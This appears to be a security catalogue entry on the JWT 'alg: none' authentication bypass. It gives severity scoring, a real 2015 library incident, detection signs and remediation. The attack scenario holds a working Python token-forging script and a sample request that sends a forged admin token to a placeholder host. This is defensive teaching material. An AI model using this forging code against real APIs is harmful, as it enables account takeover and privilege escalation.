ASTRA-AUTH-001 — JWT None Algorithm Bypass¶
Overview¶
JSON Web Tokens (JWTs) rely on a cryptographic signature to prove authenticity. The JWT specification includes an alg field in the header that declares which algorithm was used to sign the token. A critical vulnerability exists in naive JWT libraries: if they accept "alg": "none", an attacker can forge a valid-looking JWT with any payload — including elevated privileges — by simply setting the algorithm to none and omitting the signature. The API accepts this unsigned token as legitimate.
This is not a theoretical attack. Multiple major JWT libraries shipped with this bug and it has been exploited in production systems.
Tactic¶
Authentication Abuse
Protocols¶
REST · GraphQL
Severity Score¶
| Dimension | Score (1–5) | Rationale |
|---|---|---|
| Exploitability | 4 | Requires JWT knowledge; no crypto needed |
| Prevalence | 3 | Less common now but still found in legacy systems |
| Data sensitivity | 5 | Full account takeover / privilege escalation |
| Business impact | 5 | Complete authentication bypass |
| Composite | 4.25 / 5 |
Rating: Critical
Attack Scenario¶
An attacker obtains any valid JWT (e.g. their own, from a legitimate login) and modifies it to claim admin privileges without needing the signing secret.
- Attacker logs in normally and receives:
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c - Attacker decodes the header:
{"alg": "HS256", "typ": "JWT"} - Attacker decodes the payload:
{"sub": "user123", "role": "user"} - Attacker modifies: header →
{"alg": "none", "typ": "JWT"}, payload →{"sub": "admin", "role": "admin"} - Attacker re-encodes (Base64URL) both parts and appends an empty signature:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9. - Attacker sends this forged token — a vulnerable API accepts it as valid
Example Request / Payload¶
import base64
import json
# Forge the header
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "role": "admin", "iat": 1700000000}
def b64url(data):
return base64.urlsafe_b64encode(
json.dumps(data, separators=(',',':')).encode()
).rstrip(b'=').decode()
forged_token = f"{b64url(header)}.{b64url(payload)}."
print(forged_token)
GET /api/v1/admin/users HTTP/1.1
Host: target.example.com
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
Real-World Breach Mapping¶
| Field | Detail |
|---|---|
| Incident | Auth0 JWT none algorithm vulnerability |
| Year | 2015 |
| Organisation | Auth0 (and many downstream applications) |
| What happened | Auth0's node-jsonwebtoken library accepted unsigned JWTs with alg: none, allowing any user to forge tokens with arbitrary claims including admin roles |
| ASTRA technique | ASTRA-AUTH-001 |
| Source | https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/ |
Detection¶
Sigma Rule¶
See detection-rules/sigma/ASTRA-AUTH-001.yml
What to look for¶
- JWT tokens in Authorization headers where the decoded header contains
"alg":"none"or"alg":"None"or"alg":"NONE" - Requests where the JWT has only two segments (header.payload — no signature)
- Algorithm downgrade patterns: same user session switching from HS256/RS256 to none
- API gateway logs showing JWT validation errors followed immediately by successful authentication
WAF / Gateway rule hint¶
Inspect the Authorization Bearer token. Decode the first segment (Base64URL). Reject any token where the alg field resolves to none, None, NONE, or an empty string. This should be enforced at the API gateway layer, not just in application code.
Remediation¶
- Explicitly whitelist allowed algorithms — configure your JWT library to only accept
HS256,RS256, or your chosen algorithm; never allownone - Use a well-maintained JWT library — avoid rolling your own JWT validation
- Validate algorithm on every request — don't trust the
algfield from the token; enforce the algorithm server-side - Use asymmetric signing (RS256/ES256) for distributed systems — harder to downgrade and easier to rotate
- Add integration tests — test that your API rejects
alg: nonetokens before deploying